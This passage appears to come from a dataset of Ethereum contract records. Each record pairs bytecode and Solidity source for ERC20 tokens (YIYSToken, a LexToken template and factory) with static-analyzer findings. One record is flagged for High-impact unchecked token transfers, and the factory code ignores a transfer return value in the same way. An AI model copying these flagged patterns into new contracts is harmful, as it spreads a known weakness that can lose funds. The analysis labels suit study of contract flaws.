ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122036a768e0b78ba52f19f4d5e01be8a9883071d707517a381b00a5dc0efa1f59f464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,743
0xd0ab8c3b087af46738c68cfa633cdc62ecb68e0a
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = false; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can't be false while pausedOwnerAdmin is true */ function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract YIYSToken is PausableToken { string public constant name = "衣币"; string public constant symbol = "YIYS"; uint8 public constant decimals = 18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } function YIYSToken( address _admin, uint _totalTokenAmount ) { // assign the admin account admin = _admin; // assign the total tokens to YIYSToken totalSupply = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; Transfer(address(0x0), msg.sender, _totalTokenAmount); } function transfer(address _to, uint _value) validDestination(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) onlyOwner { // owner can re-assign the admin AdminTransferred(admin, newAdmin); admin = newAdmin; } }
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e357806323b872dd1461020a57806324bb7c2614610234578063313ce5671461024957806342966c681461027457806364779ad71461028c57806366188463146102a157806370a08231146102c557806379cc6790146102e65780638da5cb5b1461030a5780638f2839701461033b57806395d89b411461035e578063a9059cbb14610373578063d73dd62314610397578063db0e16f1146103bb578063dd62ed3e146103df578063ddeb509414610406578063f2fde38b14610425578063f851a44014610446575b600080fd5b34801561012d57600080fd5b5061013661045b565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610170578181015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b757600080fd5b506101cf600160a060020a0360043516602435610492565b604080519115158252519081900360200190f35b3480156101ef57600080fd5b506101f86104f9565b60408051918252519081900360200190f35b34801561021657600080fd5b506101cf600160a060020a03600435811690602435166044356104ff565b34801561024057600080fd5b506101cf610541565b34801561025557600080fd5b5061025e610551565b6040805160ff9092168252519081900360200190f35b34801561028057600080fd5b506101cf600435610556565b34801561029857600080fd5b506101cf610613565b3480156102ad57600080fd5b506101cf600160a060020a0360043516602435610623565b3480156102d157600080fd5b506101f8600160a060020a0360043516610683565b3480156102f257600080fd5b506101cf600160a060020a036004351660243561069e565b34801561031657600080fd5b5061031f6106bc565b60408051600160a060020a039092168252519081900360200190f35b34801561034757600080fd5b5061035c600160a060020a03600435166106cb565b005b34801561036a57600080fd5b5061013661074b565b34801561037f57600080fd5b506101cf600160a060020a0360043516602435610782565b3480156103a357600080fd5b506101cf600160a060020a03600435166024356107c2565b3480156103c757600080fd5b5061035c600160a060020a0360043516602435610822565b3480156103eb57600080fd5b506101f8600160a060020a03600435811690602435166108d8565b34801561041257600080fd5b5061035c60043515156024351515610903565b34801561043157600080fd5b5061035c600160a060020a03600435166109f1565b34801561045257600080fd5b5061031f610a86565b60408051808201909152600681527fe8a1a3e5b8810000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156104e85760035460a860020a900460ff16151561011c57600454600160a060020a03163314806104dd5750600354600160a060020a031633145b15156104e857600080fd5b6104f28383610a95565b9392505050565b60005481565b600082600160a060020a038116151561051757600080fd5b600160a060020a03811630141561052d57600080fd5b610538858585610afb565b95945050505050565b60035460a060020a900460ff1681565b601281565b33600090815260016020526040812054610576908363ffffffff610b5c16565b336000908152600160205260408120919091555461059a908363ffffffff610b5c16565b60005560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051838152905160009133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001919050565b60035460a860020a900460ff1681565b60035460009060a060020a900460ff16156106795760035460a860020a900460ff16151561011c57600454600160a060020a031633148061066e5750600354600160a060020a031633145b151561067957600080fd5b6104f28383610b6e565b600160a060020a031660009081526001602052604090205490565b60006106ab8333846104ff565b15156106b357fe5b6104f282610556565b600354600160a060020a031681565b600354600160a060020a031633146106e257600080fd5b600454604051600160a060020a038084169216907ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec690600090a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051808201909152600481527f5949595300000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a038116151561079a57600080fd5b600160a060020a0381163014156107b057600080fd5b6107ba8484610c5e565b949350505050565b60035460009060a060020a900460ff16156108185760035460a860020a900460ff16151561011c57600454600160a060020a031633148061080d5750600354600160a060020a031633145b151561081857600080fd5b6104f28383610cbe565b600354600160a060020a0316331461083957600080fd5b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519184169163a9059cbb916044808201926020929091908290030181600087803b1580156108a857600080fd5b505af11580156108bc573d6000803e3d6000fd5b505050506040513d60208110156108d257600080fd5b50505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461091a57600080fd5b8115801561092a57506001811515145b1561093457600080fd5b6003805482151560a860020a0275ff0000000000000000000000000000000000000000001985151560a060020a810274ff00000000000000000000000000000000000000001990941693909317161790915560408051918252517fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb09181900360200190a160408051821515815290517fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b59181900360200190a15050565b600354600160a060020a03163314610a0857600080fd5b600160a060020a0381161515610a1d57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035460009060a060020a900460ff1615610b515760035460a860020a900460ff16151561011c57600454600160a060020a0316331480610b465750600354600160a060020a031633145b1515610b5157600080fd5b6107ba848484610d57565b600082821115610b6857fe5b50900390565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610bc357336000908152600260209081526040808320600160a060020a0388168452909152812055610bf8565b610bd3818463ffffffff610b5c16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60035460009060a060020a900460ff1615610cb45760035460a860020a900460ff16151561011c57600454600160a060020a0316331480610ca95750600354600160a060020a031633145b1515610cb457600080fd5b6104f28383610ed0565b336000908152600260209081526040808320600160a060020a0386168452909152812054610cf2908363ffffffff610fb316565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6000600160a060020a0383161515610d6e57600080fd5b600160a060020a038416600090815260016020526040902054821115610d9357600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610dc357600080fd5b600160a060020a038416600090815260016020526040902054610dec908363ffffffff610b5c16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610e21908363ffffffff610fb316565b600160a060020a038085166000908152600160209081526040808320949094559187168152600282528281203382529091522054610e65908363ffffffff610b5c16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6000600160a060020a0383161515610ee757600080fd5b33600090815260016020526040902054821115610f0357600080fd5b33600090815260016020526040902054610f23908363ffffffff610b5c16565b3360009081526001602052604080822092909255600160a060020a03851681522054610f55908363ffffffff610fb316565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000828201838110156104f257fe00a165627a7a72305820443fe9c94f448975a0a3eedaf86504e2df754a3028967b31ec7d82841419ddc10029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,744
0x671cF628737A4952c04D09D32f941ffdB389228E
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager address public resolver; // account acting as backup for lost token & arbitration of disputed token transfers - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mints uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // finalized token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager event Approval(address indexed owner, address indexed spender, uint256 value); event BalanceResolution(string indexed resolution); event Transfer(address indexed from, address indexed to, uint256 value); mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function init( address payable _manager, address _resolver, uint8 _decimals, uint256 managerSupply, uint256 _saleRate, uint256 saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); // token initialization: manager = _manager; resolver = _resolver; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; _mint(manager, managerSupply); _mint(address(this), saleSupply); // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!transfer"); uint256 value = msg.value.mul(saleRate); _transfer(address(this), msg.sender, value); } function _approve(address owner, address spender, uint256 value) internal { require(value == 0 || allowances[owner][spender] == 0, "!reset"); allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function balanceResolution(address from, address to, uint256 value, string memory resolution) external { // resolve disputed or lost balances require(msg.sender == resolver, "!resolver"); _transfer(from, to, value); emit BalanceResolution(resolution); } function burn(uint256 value) external { balanceOf[msg.sender] = balanceOf[msg.sender].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(msg.sender, address(0), value); } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] memory to, uint256[] memory value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); allowances[from][msg.sender] = allowances[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] memory to, uint256[] memory value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, address _resolver, string memory _details) external onlyManager { manager = _manager; resolver = _resolver; details = _details; } function updateSale(uint256 _saleRate, uint256 saleSupply, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; _mint(address(this), saleSupply); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } interface IERC20Transfer { // brief interface for erc20 token transfer function transfer(address recipient, uint256 value) external returns (bool); } contract LexTokenFactory is CloneFactory { address payable public lexDAO; address public lexDAOtoken; address payable immutable public template; uint256 public userReward; string public details; event LaunchLexToken(address indexed lexToken, address indexed manager, address indexed resolver, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 indexed userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, address _resolver, uint8 _decimals, uint256 managerSupply, uint256 _saleRate, uint256 saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external payable { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _resolver, _decimals, managerSupply, _saleRate, saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); (bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!transfer"); IERC20Transfer(lexDAOtoken).transfer(msg.sender, userReward); emit LaunchLexToken(address(lex), _manager, _resolver, _forSale); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string memory _details) external { require(msg.sender == lexDAO, "!lexDAO"); lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
